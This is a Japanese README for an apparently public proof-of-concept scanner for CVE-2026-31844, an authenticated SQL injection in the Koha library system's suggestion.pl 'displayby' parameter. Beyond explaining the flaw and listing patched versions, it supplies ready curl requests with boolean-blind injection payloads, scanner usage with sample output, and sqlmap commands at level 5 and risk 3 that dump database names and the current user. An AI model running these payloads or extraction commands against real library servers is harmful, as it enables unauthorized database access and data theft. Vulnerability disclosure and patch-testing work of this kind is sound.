
認証済みSQLインジェクションスキャナ。Koha図書館管理システム(CVE-2026-31844)向けで、ブールベースのブラインド手法を用いて脆弱性を検証し、データを抽出します。
このリポジトリには、Koha図書館管理システムにおける深刻度の高い認証済みSQLインジェクション脆弱性である CVE-2026-31844 に対する責任ある脆弱性POCが含まれています。
この脆弱性は、/cgi-bin/koha/suggestion/suggestion.pl スクリプトによって呼び出される C4/Search.pm の GetDistinctValues 関数に存在します。displayby パラメータを介して悪用される可能性があります。
suggestion.pl スクリプトの displayby パラメータは、テーブル修飾されたカラム名を構築するために使用され、その後 GetDistinctValues 関数に渡されます。しかし、この関数はテーブル名とカラム名の両方を、入力検証やパラメータ化を一切行わずに 直接 生のSQLクエリに埋め込みます。
その結果、攻撃者は displayby パラメータを操作して、クエリに悪意のあるSQLコードを注入することができます。入力がSQL文に含まれる前にサニタイズされないため、この動作はSQLインジェクションの脆弱性を引き起こし、攻撃者がデータベース上で任意の ブールベースのブラインド 手法によるSQLコマンドを実行できる可能性があります。
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
スキャナーは ブールベースのブラインド 手法を使用して脆弱性を検証します
カラム名の位置に条件文を注入することで、差分のあるHTTPレスポンスを観察できます:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → サブクエリエラー → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → 有効なクエリ → HTTP 200ターゲットが真の条件で 500 を返し、偽の条件で 200 を返す場合、脆弱性が確認されます。
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
suggestions 権限を持つKohaスタッフアカウントの有効な認証情報を提供する必要があります。
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
自己署名SSL証明書を使用するターゲットの場合:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
curl を使用して脆弱性を手動で検証できます。まず、Kohaスタッフインターフェースに認証し、CGISESSID クッキーを取得します。
真の条件 (HTTP 500 を返す):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
偽の条件 (HTTP 200 を返す):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMapはブールベースのブラインドインジェクションをネイティブにサポートしています。データ抽出を自動化するには、認証済みの有効なHTTPリクエストを request.txt に保存します。csrf_token と CGISESSID クッキーを有効な状態に保ってください。
request.txt の例:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
ブール手法 (--technique=B) でSQLMapを実行します:
# 基本的なデータベース抽出
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# 現在のユーザーの抽出
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
または、コマンドラインから直接実行します:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
しばらくすると、sqlmapが正しいペイロードを特定します。
パッチが適用されない場合、この脆弱性により認証済みの攻撃者が以下を行うことができます:
この脆弱性の修正を含むKohaバージョン 24.11.12、25.05.07、25.11.01、または 26.05.00 (以降) に更新してください。
Raximov Shukrulloh (Mothra)
Telegram bot @MothraContact_bot
この概念実証は、教育および防御目的のみで提供されています。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。
著者は、この情報の誤用について一切の責任を負いません。この概念実証は、所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。